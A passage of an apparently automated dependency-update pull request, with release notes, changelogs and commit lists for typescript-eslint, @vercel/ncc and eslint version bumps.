Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8d8fda638b9cb5874c5bfd8b13da7ec8b74dd0f8\"\u003e\u003ccode\u003e8d8fda6\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/fec4f4f0fb8fa7318c60ec59f59bf2b710314b34\"\u003e\u003ccode\u003efec4f4f\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/fb3da7974e00d119493a7170e34b76b2a9051f85\"\u003e\u003ccode\u003efb3da79\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained c...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/dd020578ed417b844b1d03a70be42a126d51cbb5\"\u003e\u003ccode\u003edd02057\u003c/code\u003e\u003c/a\u003e docs: [no-base-to-string] clarify ignoredTypeNames description (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12488\"\u003e#12488\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/5b224e79c59897a5580540a561a492f83b6d8836\"\u003e\u003ccode\u003e5b224e7\u003c/code\u003e\u003c/a\u003e docs: [ban-ts-comment] clarify that \u003ccode\u003e@ts-expect-error\u003c/code\u003e is allowed by default ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a9a9d431017bd081a55f1d63d91c00ee901b7205\"\u003e\u003ccode\u003ea9a9d43\u003c/code\u003e\u003c/a\u003e docs: [restrict-template-expressions] clarify \u003ccode\u003eallowArray\u003c/code\u003e option behavior (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/091fe8241275300f022d521c2ac74f920b55a024\"\u003e\u003ccode\u003e091fe82\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [method-signature-style] suggest converting readonly func...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d5502f9367c90f0e599cef47b3e090a1de343d40\"\u003e\u003ccode\u003ed5502f9\u003c/code\u003e\u003c/a\u003e docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12194\"\u003e#12194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/61a9dba6872ddcc996797c0fdfb9a3e3c825c3d2\"\u003e\u003ccode\u003e61a9dba\u003c/code\u003e\u003c/a\u003e chore(eslint-plugin): switch auto-generated test cases to hand-written in pre...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.63.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.61.0 to 8.63.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.0\u003c/h2\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.1 (2026-06-15)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.61.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/3ea32f4ba5e196c08c6da1095619d7f65ba4905e\"\u003e\u003ccode\u003e3ea32f4\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/54e285728e5d8cb83fadb8041189f0c3b4ab436a\"\u003e\u003ccode\u003e54e2857\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/81e4c2654c3f4d923766a888691add2c45b5d64a\"\u003e\u003ccode\u003e81e4c26\u003c/code\u003e\u003c/a\u003e feat: remove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/aaad7187b529c4b6ff8088ffd7e948c69c2763b6\"\u003e\u003ccode\u003eaaad718\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.63.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vercel/ncc` from 0.44.0 to 0.44.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/ncc/releases\"\u003e@​vercel/ncc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vercel/ncc/compare/0.44.0...0.44.1\"\u003e0.44.1\u003c/a\u003e (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epreserve runtime createRequire in ESM builds (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1334\"\u003e#1334\u003c/a\u003e) (\u003ca href=\"https://github.com/vercel/ncc/commit/8f0aefd6781d5305073aa8797a60a1833f06f06b\"\u003e8f0aefd\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1312\"\u003e#1312\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/ncc/commit/8f0aefd6781d5305073aa8797a60a1833f06f06b\"\u003e\u003ccode\u003e8f0aefd\u003c/code\u003e\u003c/a\u003e fix: preserve runtime createRequire in ESM builds (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1334\"\u003e#1334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/ncc/commit/b9c6310a2bf0d92fd7ee801e0a563a1387e81899\"\u003e\u003ccode\u003eb9c6310\u003c/code\u003e\u003c/a\u003e chore: Update vm2 to latest version (3.11.5) (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1333\"\u003e#1333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/ncc/compare/0.44.0...0.44.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.6.0 to 10.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.7.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e) (fnx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f\"\u003e\u003ccode\u003e557fde8\u003c/code\u003e\u003c/a\u003e feat: support computed \u003ccode\u003eNumber.parseInt\u003c/code\u003e member access in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21041\"\u003e#21041\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7\"\u003e\u003ccode\u003e0b4a73b\u003c/code\u003e\u003c/a\u003e feat: add suggestions to no-compare-neg-zero (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21034\"\u003e#21034\u003c/a\u003e) (den$)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec\"\u003e\u003ccode\u003e96cdd42\u003c/code\u003e\u003c/a\u003e feat: report invalid signed numeric radix values in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21030\"\u003e#21030\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4\"\u003e\u003ccode\u003e0d7d70c\u003c/code\u003e\u003c/a\u003e fix: insert cause outside wrapping parens in preserve-caught-error (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21062\"\u003e#21062\u003c/a\u003e) (Mahin Anowar)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6\"\u003e\u003ccode\u003e75ec753\u003c/code\u003e\u003c/a\u003e fix: handle static template literals in \u003ccode\u003eeqeqeq\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21058\"\u003e#21058\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6\"\u003e\u003ccode\u003eb717a22\u003c/code\u003e\u003c/a\u003e fix: prevent \u003ccode\u003eeqeqeq\u003c/code\u003e null option from reporting non-equality operators (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21057\"\u003e#21057\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76\"\u003e\u003ccode\u003ee35b05f\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-invalid-regexp\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21051\"\u003e#21051\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a\"\u003e\u003ccode\u003ea3172b6\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-control-regex\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21050\"\u003e#21050\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c\"\u003e\u003ccode\u003ed1f637e\u003c/code\u003e\u003c/a\u003e fix: parenthesize sequence expression operands in no-implicit-coercion (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21045\"\u003e#21045\u003c/a\u003e) (spokodev)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a\"\u003e\u003ccode\u003e8859baf\u003c/code\u003e\u003c/a\u003e fix: avoid prefer-numeric-literals false positive for shadowed globals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21047\"\u003e#21047\u003c/a\u003e) (한국)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7\"\u003e\u003ccode\u003ea9e5961\u003c/code\u003e\u003c/a\u003e fix: use-isnan false positive on shadowed NaN/Number (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20958\"\u003e#20958\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e\"\u003e\u003ccode\u003e8a240a7\u003c/code\u003e\u003c/a\u003e fix: avoid false positives in \u003ccode\u003eradix\u003c/code\u003e rule for spread arguments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21044\"\u003e#21044\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55\"\u003e\u003ccode\u003e5139800\u003c/code\u003e\u003c/a\u003e docs: document ESLint migration codemods in v9 and v10 guides (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20980\"\u003e#20980\u003c/a\u003e) (Alex Bit)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6\"\u003e\u003ccode\u003e04174cb\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949\"\u003e\u003ccode\u003e026e130\u003c/code\u003e\u003c/a\u003e docs: update semver policy for bug fixes (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21048\"\u003e#21048\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c\"\u003e\u003ccode\u003e9d42fef\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26\"\u003e\u003ccode\u003eb230159\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a\"\u003e\u003ccode\u003e0129972\u003c/code\u003e\u003c/a\u003e docs: correct \u003ccode\u003e**/.js\u003c/code\u003e glob to \u003ccode\u003e**/*.js\u003c/code\u003e in config files guide (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21036\"\u003e#21036\u003c/a\u003e) (EduardF1)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958\"\u003e\u003ccode\u003e833ec10\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.4 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21061\"\u003e#21061\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca 